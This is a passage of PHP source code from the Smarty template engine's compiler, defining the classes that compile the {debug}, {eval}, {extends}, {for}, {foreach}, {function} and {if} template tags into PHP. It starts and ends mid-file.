 */

/**
 * Smarty Internal Plugin Compile Debug Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Debug extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {debug} tag
     *
     * @param array  $args     array with attributes from parser
     * @param object $compiler compiler object
     *
     * @return string compiled code
     */
    public function compile($args, $compiler)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        // compile always as nocache
        $compiler->tag_nocache = true;
        // display debug template
        $_output =
            "<?php \$_smarty_debug = new Smarty_Internal_Debug;\n \$_smarty_debug->display_debug(\$_smarty_tpl);\n";
        $_output .= "unset(\$_smarty_debug);\n?>";
        return $_output;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Eval
 * Compiles the {eval} tag.
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Eval Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Eval extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $required_attributes = array('var');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('assign');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $shorttag_order = array('var', 'assign');

    /**
     * Compiles code for the {eval} tag
     *
     * @param array  $args     array with attributes from parser
     * @param object $compiler compiler object
     *
     * @return string compiled code
     */
    public function compile($args, $compiler)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        if (isset($_attr[ 'assign' ])) {
            // output will be stored in a smarty variable instead of being displayed
            $_assign = $_attr[ 'assign' ];
        }
        // create template object
        $_output =
            "\$_template = new {$compiler->smarty->template_class}('eval:'.{$_attr[ 'var' ]}, \$_smarty_tpl->smarty, \$_smarty_tpl);";
        //was there an assign attribute?
        if (isset($_assign)) {
            $_output .= "\$_smarty_tpl->assign($_assign,\$_template->fetch());";
        } else {
            $_output .= 'echo $_template->fetch();';
        }
        return "<?php $_output ?>";
    }
}
<?php
/**
 * Smarty Internal Plugin Compile extend
 * Compiles the {extends} tag
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile extend Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Extends extends Smarty_Internal_Compile_Shared_Inheritance
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $required_attributes = array('file');

    /**
     * Array of names of optional attribute required by tag
     * use array('_any') if there is no restriction of attributes names
     *
     * @var array
     */
    public $optional_attributes = array();

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $shorttag_order = array('file');

    /**
     * Compiles code for the {extends} tag extends: resource
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     * @throws \SmartyException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        if ($_attr[ 'nocache' ] === true) {
            $compiler->trigger_template_error('nocache option not allowed', $compiler->parser->lex->line - 1);
        }
        if (strpos($_attr[ 'file' ], '$_tmp') !== false) {
            $compiler->trigger_template_error('illegal value for file attribute', $compiler->parser->lex->line - 1);
        }
        // add code to initialize inheritance
        $this->registerInit($compiler, true);
        $this->compileEndChild($compiler, $_attr[ 'file' ]);
        $compiler->has_code = false;
        return '';
    }

    /**
     * Add code for inheritance endChild() method to end of template
     *
     * @param \Smarty_Internal_TemplateCompilerBase $compiler
     * @param null|string                           $template optional inheritance parent template
     *
     * @throws \SmartyCompilerException
     * @throws \SmartyException
     */
    private function compileEndChild(Smarty_Internal_TemplateCompilerBase $compiler, $template = null)
    {
        $inlineUids = '';
        if (isset($template) && $compiler->smarty->merge_compiled_includes) {
            $code = $compiler->compileTag('include', array($template, array('scope' => 'parent')));
            if (preg_match('/([,][\s]*[\'][a-z0-9]+[\'][,][\s]*[\']content.*[\'])[)]/', $code, $match)) {
                $inlineUids = $match[ 1 ];
            }
        }
        $compiler->parser->template_postfix[] = new Smarty_Internal_ParseTree_Tag(
            $compiler->parser,
            '<?php $_smarty_tpl->inheritance->endChild($_smarty_tpl' .
            (isset($template) ?
                ", {$template}{$inlineUids}" :
                '') . ");\n?>"
        );
    }
}
<?php
/**
 * Smarty Internal Plugin Compile For
 * Compiles the {for} {forelse} {/for} tags
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile For Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_For extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {for} tag
     * Smarty supports two different syntax's:
     * - {for $var in $array}
     * For looping over arrays or iterators
     * - {for $x=0; $x<$y; $x++}
     * For general loops
     * The parser is generating different sets of attribute by which this compiler can
     * determine which syntax is used.
     *
     * @param array  $args      array with attributes from parser
     * @param object $compiler  compiler object
     * @param array  $parameter array with compilation parameter
     *
     * @return string compiled code
     */
    public function compile($args, $compiler, $parameter)
    {
        $compiler->loopNesting++;
        if ($parameter === 0) {
            $this->required_attributes = array('start', 'to');
            $this->optional_attributes = array('max', 'step');
        } else {
            $this->required_attributes = array('start', 'ifexp', 'var', 'step');
            $this->optional_attributes = array();
        }
        $this->mapCache = array();
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        $output = "<?php\n";
        if ($parameter === 1) {
            foreach ($_attr[ 'start' ] as $_statement) {
                if (is_array($_statement[ 'var' ])) {
                    $var = $_statement[ 'var' ][ 'var' ];
                    $index = $_statement[ 'var' ][ 'smarty_internal_index' ];
                } else {
                    $var = $_statement[ 'var' ];
                    $index = '';
                }
                $output .= "\$_smarty_tpl->tpl_vars[$var] = new Smarty_Variable(null, \$_smarty_tpl->isRenderingCache);\n";
                $output .= "\$_smarty_tpl->tpl_vars[$var]->value{$index} = {$_statement['value']};\n";
            }
            if (is_array($_attr[ 'var' ])) {
                $var = $_attr[ 'var' ][ 'var' ];
                $index = $_attr[ 'var' ][ 'smarty_internal_index' ];
            } else {
                $var = $_attr[ 'var' ];
                $index = '';
            }
            $output .= "if ($_attr[ifexp]) {\nfor (\$_foo=true;$_attr[ifexp]; \$_smarty_tpl->tpl_vars[$var]->value{$index}$_attr[step]) {\n";
        } else {
            $_statement = $_attr[ 'start' ];
            if (is_array($_statement[ 'var' ])) {
                $var = $_statement[ 'var' ][ 'var' ];
                $index = $_statement[ 'var' ][ 'smarty_internal_index' ];
            } else {
                $var = $_statement[ 'var' ];
                $index = '';
            }
            $output .= "\$_smarty_tpl->tpl_vars[$var] = new Smarty_Variable(null, \$_smarty_tpl->isRenderingCache);";
            if (isset($_attr[ 'step' ])) {
                $output .= "\$_smarty_tpl->tpl_vars[$var]->step = $_attr[step];";
            } else {
                $output .= "\$_smarty_tpl->tpl_vars[$var]->step = 1;";
            }
            if (isset($_attr[ 'max' ])) {
                $output .= "\$_smarty_tpl->tpl_vars[$var]->total = (int) min(ceil((\$_smarty_tpl->tpl_vars[$var]->step > 0 ? $_attr[to]+1 - ($_statement[value]) : $_statement[value]-($_attr[to])+1)/abs(\$_smarty_tpl->tpl_vars[$var]->step)),$_attr[max]);\n";
            } else {
                $output .= "\$_smarty_tpl->tpl_vars[$var]->total = (int) ceil((\$_smarty_tpl->tpl_vars[$var]->step > 0 ? $_attr[to]+1 - ($_statement[value]) : $_statement[value]-($_attr[to])+1)/abs(\$_smarty_tpl->tpl_vars[$var]->step));\n";
            }
            $output .= "if (\$_smarty_tpl->tpl_vars[$var]->total > 0) {\n";
            $output .= "for (\$_smarty_tpl->tpl_vars[$var]->value{$index} = $_statement[value], \$_smarty_tpl->tpl_vars[$var]->iteration = 1;\$_smarty_tpl->tpl_vars[$var]->iteration <= \$_smarty_tpl->tpl_vars[$var]->total;\$_smarty_tpl->tpl_vars[$var]->value{$index} += \$_smarty_tpl->tpl_vars[$var]->step, \$_smarty_tpl->tpl_vars[$var]->iteration++) {\n";
            $output .= "\$_smarty_tpl->tpl_vars[$var]->first = \$_smarty_tpl->tpl_vars[$var]->iteration === 1;";
            $output .= "\$_smarty_tpl->tpl_vars[$var]->last = \$_smarty_tpl->tpl_vars[$var]->iteration === \$_smarty_tpl->tpl_vars[$var]->total;";
        }
        $output .= '?>';
        $this->openTag($compiler, 'for', array('for', $compiler->nocache));
        // maybe nocache because of nocache variables
        $compiler->nocache = $compiler->nocache | $compiler->tag_nocache;
        // return compiled code
        return $output;
    }
}

/**
 * Smarty Internal Plugin Compile Forelse Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Forelse extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {forelse} tag
     *
     * @param array  $args      array with attributes from parser
     * @param object $compiler  compiler object
     * @param array  $parameter array with compilation parameter
     *
     * @return string compiled code
     */
    public function compile($args, $compiler, $parameter)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        list($openTag, $nocache) = $this->closeTag($compiler, array('for'));
        $this->openTag($compiler, 'forelse', array('forelse', $nocache));
        return "<?php }} else { ?>";
    }
}

/**
 * Smarty Internal Plugin Compile Forclose Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Forclose extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {/for} tag
     *
     * @param array  $args      array with attributes from parser
     * @param object $compiler  compiler object
     * @param array  $parameter array with compilation parameter
     *
     * @return string compiled code
     */
    public function compile($args, $compiler, $parameter)
    {
        $compiler->loopNesting--;
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        // must endblock be nocache?
        if ($compiler->nocache) {
            $compiler->tag_nocache = true;
        }
        list($openTag, $compiler->nocache) = $this->closeTag($compiler, array('for', 'forelse'));
        $output = "<?php }\n";
        if ($openTag !== 'forelse') {
            $output .= "}\n";
        }
        $output .= "?>";
        return $output;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Foreach
 * Compiles the {foreach} {foreachelse} {/foreach} tags
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Foreach Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Foreach extends Smarty_Internal_Compile_Private_ForeachSection
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $required_attributes = array('from', 'item');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('name', 'key', 'properties');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $shorttag_order = array('from', 'item', 'key', 'name');

    /**
     * counter
     *
     * @var int
     */
    public $counter = 0;

    /**
     * Name of this tag
     *
     * @var string
     */
    public $tagName = 'foreach';

    /**
     * Valid properties of $smarty.foreach.name.xxx variable
     *
     * @var array
     */
    public $nameProperties = array('first', 'last', 'index', 'iteration', 'show', 'total');

    /**
     * Valid properties of $item@xxx variable
     *
     * @var array
     */
    public $itemProperties = array('first', 'last', 'index', 'iteration', 'show', 'total', 'key');

    /**
     * Flag if tag had name attribute
     *
     * @var bool
     */
    public $isNamed = false;

    /**
     * Compiles code for the {foreach} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     * @throws \SmartyException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        $compiler->loopNesting++;
        // init
        $this->isNamed = false;
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        $from = $_attr[ 'from' ];
        $item = $compiler->getId($_attr[ 'item' ]);
        if ($item === false) {
            $item = $compiler->getVariableName($_attr[ 'item' ]);
        }
        $key = $name = null;
        $attributes = array('item' => $item);
        if (isset($_attr[ 'key' ])) {
            $key = $compiler->getId($_attr[ 'key' ]);
            if ($key === false) {
                $key = $compiler->getVariableName($_attr[ 'key' ]);
            }
            $attributes[ 'key' ] = $key;
        }
        if (isset($_attr[ 'name' ])) {
            $this->isNamed = true;
            $name = $attributes[ 'name' ] = $compiler->getId($_attr[ 'name' ]);
        }
        foreach ($attributes as $a => $v) {
            if ($v === false) {
                $compiler->trigger_template_error("'{$a}' attribute/variable has illegal value", null, true);
            }
        }
        $fromName = $compiler->getVariableName($_attr[ 'from' ]);
        if ($fromName) {
            foreach (array('item', 'key') as $a) {
                if (isset($attributes[ $a ]) && $attributes[ $a ] === $fromName) {
                    $compiler->trigger_template_error(
                        "'{$a}' and 'from' may not have same variable name '{$fromName}'",
                        null,
                        true
                    );
                }
            }
        }
        $itemVar = "\$_smarty_tpl->tpl_vars['{$item}']";
        $local = '$__foreach_' . $attributes[ 'item' ] . '_' . $this->counter++ . '_';
        // search for used tag attributes
        $itemAttr = array();
        $namedAttr = array();
        $this->scanForProperties($attributes, $compiler);
        if (!empty($this->matchResults[ 'item' ])) {
            $itemAttr = $this->matchResults[ 'item' ];
        }
        if (!empty($this->matchResults[ 'named' ])) {
            $namedAttr = $this->matchResults[ 'named' ];
        }
        if (isset($_attr[ 'properties' ]) && preg_match_all('/[\'](.*?)[\']/', $_attr[ 'properties' ], $match)) {
            foreach ($match[ 1 ] as $prop) {
                if (in_array($prop, $this->itemProperties)) {
                    $itemAttr[ $prop ] = true;
                } else {
                    $compiler->trigger_template_error("Invalid property '{$prop}'", null, true);
                }
            }
            if ($this->isNamed) {
                foreach ($match[ 1 ] as $prop) {
                    if (in_array($prop, $this->nameProperties)) {
                        $nameAttr[ $prop ] = true;
                    } else {
                        $compiler->trigger_template_error("Invalid property '{$prop}'", null, true);
                    }
                }
            }
        }
        if (isset($itemAttr[ 'first' ])) {
            $itemAttr[ 'index' ] = true;
        }
        if (isset($namedAttr[ 'first' ])) {
            $namedAttr[ 'index' ] = true;
        }
        if (isset($namedAttr[ 'last' ])) {
            $namedAttr[ 'iteration' ] = true;
            $namedAttr[ 'total' ] = true;
        }
        if (isset($itemAttr[ 'last' ])) {
            $itemAttr[ 'iteration' ] = true;
            $itemAttr[ 'total' ] = true;
        }
        if (isset($namedAttr[ 'show' ])) {
            $namedAttr[ 'total' ] = true;
        }
        if (isset($itemAttr[ 'show' ])) {
            $itemAttr[ 'total' ] = true;
        }
        $keyTerm = '';
        if (isset($attributes[ 'key' ])) {
            $keyTerm = "\$_smarty_tpl->tpl_vars['{$key}']->value => ";
        }
        if (isset($itemAttr[ 'key' ])) {
            $keyTerm = "{$itemVar}->key => ";
        }
        if ($this->isNamed) {
            $foreachVar = "\$_smarty_tpl->tpl_vars['__smarty_foreach_{$attributes['name']}']";
        }
        $needTotal = isset($itemAttr[ 'total' ]);
        // Register tag
        $this->openTag(
            $compiler,
            'foreach',
            array('foreach', $compiler->nocache, $local, $itemVar, empty($itemAttr) ? 1 : 2)
        );
        // maybe nocache because of nocache variables
        $compiler->nocache = $compiler->nocache | $compiler->tag_nocache;
        // generate output code
        $output = "<?php\n";
        $output .= "\$_from = \$_smarty_tpl->smarty->ext->_foreach->init(\$_smarty_tpl, $from, " .
                   var_export($item, true);
        if ($name || $needTotal || $key) {
            $output .= ', ' . var_export($needTotal, true);
        }
        if ($name || $key) {
            $output .= ', ' . var_export($key, true);
        }
        if ($name) {
            $output .= ', ' . var_export($name, true) . ', ' . var_export($namedAttr, true);
        }
        $output .= ");\n";
        if (isset($itemAttr[ 'show' ])) {
            $output .= "{$itemVar}->show = ({$itemVar}->total > 0);\n";
        }
        if (isset($itemAttr[ 'iteration' ])) {
            $output .= "{$itemVar}->iteration = 0;\n";
        }
        if (isset($itemAttr[ 'index' ])) {
            $output .= "{$itemVar}->index = -1;\n";
        }
        $output .= "{$itemVar}->do_else = true;\n";
        $output .= "if (\$_from !== null) foreach (\$_from as {$keyTerm}{$itemVar}->value) {\n";
        $output .= "{$itemVar}->do_else = false;\n";
        if (isset($attributes[ 'key' ]) && isset($itemAttr[ 'key' ])) {
            $output .= "\$_smarty_tpl->tpl_vars['{$key}']->value = {$itemVar}->key;\n";
        }
        if (isset($itemAttr[ 'iteration' ])) {
            $output .= "{$itemVar}->iteration++;\n";
        }
        if (isset($itemAttr[ 'index' ])) {
            $output .= "{$itemVar}->index++;\n";
        }
        if (isset($itemAttr[ 'first' ])) {
            $output .= "{$itemVar}->first = !{$itemVar}->index;\n";
        }
        if (isset($itemAttr[ 'last' ])) {
            $output .= "{$itemVar}->last = {$itemVar}->iteration === {$itemVar}->total;\n";
        }
        if (isset($foreachVar)) {
            if (isset($namedAttr[ 'iteration' ])) {
                $output .= "{$foreachVar}->value['iteration']++;\n";
            }
            if (isset($namedAttr[ 'index' ])) {
                $output .= "{$foreachVar}->value['index']++;\n";
            }
            if (isset($namedAttr[ 'first' ])) {
                $output .= "{$foreachVar}->value['first'] = !{$foreachVar}->value['index'];\n";
            }
            if (isset($namedAttr[ 'last' ])) {
                $output .= "{$foreachVar}->value['last'] = {$foreachVar}->value['iteration'] === {$foreachVar}->value['total'];\n";
            }
        }
        if (!empty($itemAttr)) {
            $output .= "{$local}saved = {$itemVar};\n";
        }
        $output .= '?>';
        return $output;
    }

    /**
     * Compiles code for to restore saved template variables
     *
     * @param int $levels number of levels to restore
     *
     * @return string compiled code
     */
    public function compileRestore($levels)
    {
        return "\$_smarty_tpl->smarty->ext->_foreach->restore(\$_smarty_tpl, {$levels});";
    }
}

/**
 * Smarty Internal Plugin Compile Foreachelse Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Foreachelse extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {foreachelse} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        list($openTag, $nocache, $local, $itemVar, $restore) = $this->closeTag($compiler, array('foreach'));
        $this->openTag($compiler, 'foreachelse', array('foreachelse', $nocache, $local, $itemVar, 0));
        $output = "<?php\n";
        if ($restore === 2) {
            $output .= "{$itemVar} = {$local}saved;\n";
        }
        $output .= "}\nif ({$itemVar}->do_else) {\n?>";
        return $output;
    }
}

/**
 * Smarty Internal Plugin Compile Foreachclose Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Foreachclose extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {/foreach} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        $compiler->loopNesting--;
        // must endblock be nocache?
        if ($compiler->nocache) {
            $compiler->tag_nocache = true;
        }
        list(
            $openTag, $compiler->nocache, $local, $itemVar, $restore
            ) = $this->closeTag($compiler, array('foreach', 'foreachelse'));
        $output = "<?php\n";
        if ($restore === 2) {
            $output .= "{$itemVar} = {$local}saved;\n";
        }
        $output .= "}\n";
        /* @var Smarty_Internal_Compile_Foreach $foreachCompiler */
        $foreachCompiler = $compiler->getTagCompiler('foreach');
        $output .= $foreachCompiler->compileRestore(1);
        $output .= "?>";
        return $output;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Function
 * Compiles the {function} {/function} tags
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Function Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Function extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $required_attributes = array('name');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $shorttag_order = array('name');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('_any');

    /**
     * Compiles code for the {function} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return bool true
     * @throws \SmartyCompilerException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        if ($_attr[ 'nocache' ] === true) {
            $compiler->trigger_template_error('nocache option not allowed', null, true);
        }
        unset($_attr[ 'nocache' ]);
        $_name = trim($_attr[ 'name' ], '\'"');

        if (!preg_match('/^[a-zA-Z0-9_\x80-\xff]+$/', $_name)) {
	        $compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
        }

        $compiler->parent_compiler->tpl_function[ $_name ] = array();
        $save = array(
            $_attr, $compiler->parser->current_buffer, $compiler->template->compiled->has_nocache_code,
            $compiler->template->caching
        );
        $this->openTag($compiler, 'function', $save);
        // Init temporary context
        $compiler->parser->current_buffer = new Smarty_Internal_ParseTree_Template();
        $compiler->template->compiled->has_nocache_code = false;
        $compiler->saveRequiredPlugins(true);
        return true;
    }
}

/**
 * Smarty Internal Plugin Compile Functionclose Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Functionclose extends Smarty_Internal_CompileBase
{
    /**
     * Compiler object
     *
     * @var object
     */
    private $compiler = null;

    /**
     * Compiles code for the {/function} tag
     *
     * @param array                                        $args     array with attributes from parser
     * @param object|\Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return bool true
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        $this->compiler = $compiler;
        $saved_data = $this->closeTag($compiler, array('function'));
        $_attr = $saved_data[ 0 ];
        $_name = trim($_attr[ 'name' ], '\'"');
        $compiler->parent_compiler->tpl_function[ $_name ][ 'compiled_filepath' ] =
            $compiler->parent_compiler->template->compiled->filepath;
        $compiler->parent_compiler->tpl_function[ $_name ][ 'uid' ] = $compiler->template->source->uid;
        $_parameter = $_attr;
        unset($_parameter[ 'name' ]);
        // default parameter
        $_paramsArray = array();
        foreach ($_parameter as $_key => $_value) {
            if (is_int($_key)) {
                $_paramsArray[] = "$_key=>$_value";
            } else {
                $_paramsArray[] = "'$_key'=>$_value";
            }
        }
        if (!empty($_paramsArray)) {
            $_params = 'array(' . implode(',', $_paramsArray) . ')';
            $_paramsCode = "\$params = array_merge($_params, \$params);\n";
        } else {
            $_paramsCode = '';
        }
        $_functionCode = $compiler->parser->current_buffer;
        // setup buffer for template function code
        $compiler->parser->current_buffer = new Smarty_Internal_ParseTree_Template();
        $_funcName = "smarty_template_function_{$_name}_{$compiler->template->compiled->nocache_hash}";
        $_funcNameCaching = $_funcName . '_nocache';
        if ($compiler->template->compiled->has_nocache_code) {
            $compiler->parent_compiler->tpl_function[ $_name ][ 'call_name_caching' ] = $_funcNameCaching;
            $output = "<?php\n";
            $output .= $compiler->cStyleComment(" {$_funcNameCaching} ") . "\n";
            $output .= "if (!function_exists('{$_funcNameCaching}')) {\n";
            $output .= "function {$_funcNameCaching} (Smarty_Internal_Template \$_smarty_tpl,\$params) {\n";
            $output .= "ob_start();\n";
            $output .= $compiler->compileRequiredPlugins();
            $output .= "\$_smarty_tpl->compiled->has_nocache_code = true;\n";
            $output .= $_paramsCode;
            $output .= "foreach (\$params as \$key => \$value) {\n\$_smarty_tpl->tpl_vars[\$key] = new Smarty_Variable(\$value, \$_smarty_tpl->isRenderingCache);\n}\n";
            $output .= "\$params = var_export(\$params, true);\n";
            $output .= "echo \"/*%%SmartyNocache:{$compiler->template->compiled->nocache_hash}%%*/<?php ";
            $output .= "\\\$_smarty_tpl->smarty->ext->_tplFunction->saveTemplateVariables(\\\$_smarty_tpl, '{$_name}');\nforeach (\$params as \\\$key => \\\$value) {\n\\\$_smarty_tpl->tpl_vars[\\\$key] = new Smarty_Variable(\\\$value, \\\$_smarty_tpl->isRenderingCache);\n}\n?>";
            $output .= "/*/%%SmartyNocache:{$compiler->template->compiled->nocache_hash}%%*/\";?>";
            $compiler->parser->current_buffer->append_subtree(
                $compiler->parser,
                new Smarty_Internal_ParseTree_Tag(
                    $compiler->parser,
                    $output
                )
            );
            $compiler->parser->current_buffer->append_subtree($compiler->parser, $_functionCode);
            $output = "<?php echo \"/*%%SmartyNocache:{$compiler->template->compiled->nocache_hash}%%*/<?php ";
            $output .= "\\\$_smarty_tpl->smarty->ext->_tplFunction->restoreTemplateVariables(\\\$_smarty_tpl, '{$_name}');?>\n";
            $output .= "/*/%%SmartyNocache:{$compiler->template->compiled->nocache_hash}%%*/\";\n?>";
            $output .= "<?php echo str_replace('{$compiler->template->compiled->nocache_hash}', \$_smarty_tpl->compiled->nocache_hash ?? '', ob_get_clean());\n";
            $output .= "}\n}\n";
            $output .= $compiler->cStyleComment("/ {$_funcName}_nocache ") . "\n\n";
            $output .= "?>\n";
            $compiler->parser->current_buffer->append_subtree(
                $compiler->parser,
                new Smarty_Internal_ParseTree_Tag(
                    $compiler->parser,
                    $output
                )
            );
            $_functionCode = new Smarty_Internal_ParseTree_Tag(
                $compiler->parser,
                preg_replace_callback(
                    "/((<\?php )?echo '\/\*%%SmartyNocache:{$compiler->template->compiled->nocache_hash}%%\*\/([\S\s]*?)\/\*\/%%SmartyNocache:{$compiler->template->compiled->nocache_hash}%%\*\/';(\?>\n)?)/",
                    array($this, 'removeNocache'),
                    $_functionCode->to_smarty_php($compiler->parser)
                )
            );
        }
        $compiler->parent_compiler->tpl_function[ $_name ][ 'call_name' ] = $_funcName;
        $output = "<?php\n";
        $output .= $compiler->cStyleComment(" {$_funcName} ") . "\n";
        $output .= "if (!function_exists('{$_funcName}')) {\n";
        $output .= "function {$_funcName}(Smarty_Internal_Template \$_smarty_tpl,\$params) {\n";
        $output .= $_paramsCode;
        $output .= "foreach (\$params as \$key => \$value) {\n\$_smarty_tpl->tpl_vars[\$key] = new Smarty_Variable(\$value, \$_smarty_tpl->isRenderingCache);\n}\n";
        $output .= $compiler->compileCheckPlugins(array_merge($compiler->required_plugins[ 'compiled' ],
            $compiler->required_plugins[ 'nocache' ]));
        $output .= "?>\n";
        $compiler->parser->current_buffer->append_subtree(
            $compiler->parser,
            new Smarty_Internal_ParseTree_Tag(
                $compiler->parser,
                $output
            )
        );
        $compiler->parser->current_buffer->append_subtree($compiler->parser, $_functionCode);
        $output = "<?php\n}}\n";
        $output .= $compiler->cStyleComment("/ {$_funcName} ") . "\n\n";
        $output .= "?>\n";
        $compiler->parser->current_buffer->append_subtree(
            $compiler->parser,
            new Smarty_Internal_ParseTree_Tag(
                $compiler->parser,
                $output
            )
        );
        $compiler->parent_compiler->blockOrFunctionCode .= $compiler->parser->current_buffer->to_smarty_php($compiler->parser);
        // restore old buffer
        $compiler->parser->current_buffer = $saved_data[ 1 ];
        // restore old status
        $compiler->restoreRequiredPlugins();
        $compiler->template->compiled->has_nocache_code = $saved_data[ 2 ];
        $compiler->template->caching = $saved_data[ 3 ];
        return true;
    }

    /**
     * Remove nocache code
     *
     * @param $match
     *
     * @return string
     */
    public function removeNocache($match)
    {
        $code =
            preg_replace(
                "/((<\?php )?echo '\/\*%%SmartyNocache:{$this->compiler->template->compiled->nocache_hash}%%\*\/)|(\/\*\/%%SmartyNocache:{$this->compiler->template->compiled->nocache_hash}%%\*\/';(\?>\n)?)/",
                '',
                $match[ 0 ]
            );
        $code = str_replace(array('\\\'', '\\\\\''), array('\'', '\\\''), $code);
        return $code;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile If
 * Compiles the {if} {else} {elseif} {/if} tags
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile If Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_If extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {if} tag
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        $this->openTag($compiler, 'if', array(1, $compiler->nocache));
        // must whole block be nocache ?
        $compiler->nocache = $compiler->nocache | $compiler->tag_nocache;
        if (!isset($parameter[ 'if condition' ])) {
            $compiler->trigger_template_error('missing if condition', null, true);
        }
        if (is_array($parameter[ 'if condition' ])) {
            if (is_array($parameter[ 'if condition' ][ 'var' ])) {
                $var = $parameter[ 'if condition' ][ 'var' ][ 'var' ];
            } else {
                $var = $parameter[ 'if condition' ][ 'var' ];
            }
            if ($compiler->nocache) {
                // create nocache var to make it know for further compiling
                $compiler->setNocacheInVariable($var);
            }
            $prefixVar = $compiler->getNewPrefixVariable();
            $_output = "<?php {$prefixVar} = {$parameter[ 'if condition' ][ 'value' ]};?>\n";
            $assignAttr = array();
            $assignAttr[][ 'value' ] = $prefixVar;
            $assignCompiler = new Smarty_Internal_Compile_Assign();
            if (is_array($parameter[ 'if condition' ][ 'var' ])) {
